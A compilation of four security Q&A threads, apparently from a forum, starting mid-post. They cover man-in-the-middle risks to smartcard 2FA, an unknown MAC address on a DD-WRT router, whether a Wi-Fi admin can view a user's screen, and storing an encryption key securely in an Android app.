  They think 2FA is unhackable...undefeatable, when that clearly isn’t true. They think 2FA will stop advanced persistent threats (APTs), defeat phishing and social engineering, and stop all sorts of threats that it was never designed to do.

Does it mean it is not safe to use smartcards in terms of 2FA? Also for example I have a device or website that I want to log in using a password with 2FA. Is there any chance that a hacker can still compromise the system if he can get the password or the smartcard?

I read an article saying that smartcards used as a 2FA is still susceptible to attacks such as MITM attack?

I interpret the relevant parts of this article as follows:

A hacker could mirror the original web site which asks for password and 2FA token and just forward the credentials you've entered to the original site, then doing whatever he wants with the now logged in session.
A 2FA authentication might be done only against the local system and then the result (in form of some authentication token) is used to authenticate against a remote system, then this token could be stolen.

To address the first issue: This is true if the 2FA is only some kind of token which you enter. If instead the smartcard has a client certificate which is used for mutual authentication within a TLS connection, then this can neither be stolen when connecting to a fake website nor can the authentication be forwarded to the original site since the attacker does not have access to the private key stored on the smartcard.

And for the second issue: If the full authentication is only done to the local machine and then the local machine provides some authentication against the remote machine then this remote machine can of course not check if 2FA is valid and must simply trust the local machine. Thus the question is not only how to do you authenticate but also against whom you authenticate: a local machine or a remote system. Of course, since no 2FA information are send to the remote system in the first place there is no MITM of 2FA done. And yes, a hacker could intercept the authentication token unless the transfer of the token is protected against MITM, for example within a TLS connection with mutual authentication between the machines.

In other words: smartcards are by themselves are not affected by MITM. But they might be used in a way which makes MITM still possible or which makes it ignore the second faktor. But using smartcards for mutual authentication within a TLS connection is considered safe even if the web site you connect to was not the correct one.


unknown MAC address in the LAN, DD-WRT router I am using a linksys router with DD-WRT firmware with a WiBro internet connection, the ISP uses a hub with multiple user connected to it. The issue is that an unidentified MAC address seems to pop up in the routers LAN with a local ip address. It does not show in the wlan area, only on the LAN.

the MAC is this 12:34:56:6C:9A:CC

so what is this.. is it a ddos attack or.....

It doesn't look like a DDOS (Distributed Denial of Service) attack.

12:34:56 is an unknown OUI (Organizationally Unique Identifier)

You can understand more about this MAC address by listening on the LAN with a protocol analyzer like Wireshark.


Can a network admin see my computer's screen if I'm logged into their wifi network? I had a friend try to convince me today that simply by signing into a wifi network, without any physical access to your computer, the network admin can see your computer's screen.

Obviously this is false, but I don't enough about networking to explain why. Can someone explain what prevents a malicious network from having remote view of your screen?

Your "screen" includes many elements that never get transmitted over the network, so there is no method by which anyone on the network could see those elements. For example, if I set my desktop wallpaper, no one on the network can see that.

Might it be possible to see a user's browser window (i.e. reconstruct a clone of the traffic to the computer)? Yes, under certain circumstances. By having access to the network, it is possible to capture the packets and then reconstruct them page by page or update by update. But, the traffic would have to be unencrypted (no SSL/TLS or VPN tunnels).

All this assumes that the malicious network has not also installed something on the computer.


Best practice for securing encrypted content on Android app I have an Android APK which loads in locally stored content files protected by AES encryption, and I want to keep the encryption key secret from all users. Only the app itself should be able to read the key.

My question is this: what's the current best practice for preventing all users from gaining access to the encryption key?

Options I have come across so far:

1) The encryption key is stored in the app's internal storage

2) The encryption key is hard coded into the app in a highly obfuscated form

3) The encryption key is requested by the app from a remote server which returns the encryption key over SSL. The request is authenticated by the server using an API key which itself is hard-coded into the APK (also highly obfuscated).

I'm aware that Android OS prevents apps from accessing the data of other apps (when not stored on SD card at least), so the key could possibly be stored in the app's internal storage, but I can't rely on this because users with rooted phones can simply read everything. So option 1 is out.

Neither of the remaining options offer security, just obscurity, and I'm aware that hard-coding any secret keys inside the APK is a bit of a no-no.

Option 2 at least has the benefit of being far simpler to implement.

Option 3 offers the benefit of the encryption key itself only temporarily residing in memory and is never stored permanently on the device. However an attacker would no doubt be looking at the app's response handler for any sign of the encryption key. There's that, and the API key is hard coded into the app so is discoverable by an attacker.

Are there any better options?

Edit:
Regarding the use of password derived keys: the content is encrypted off-app (i.e. the app never needs to encrypt, just decrypt) using a predetermined key, so using a password derived key generated by user password/PIN is not going to work as the resulting key would not match the encryption key.
Also, the UX would be adversely affected by this extra password step – we want to load and decrypt the content silently in the background if necessary.

You want to protect them in environment, which has more trust than your app's storage (which can get eventually exposed in one way or another).

Frequently, OS vendors implement secure key storage for such purposes. Not knowing a lot about Android, I've heard Android Keystore System (https://developer.android.com/training/articles/keystore.html) is such storage you can use to protect the keys and it is not directly accessible from userland, as much as I can judge from the docs, so it follows your demands.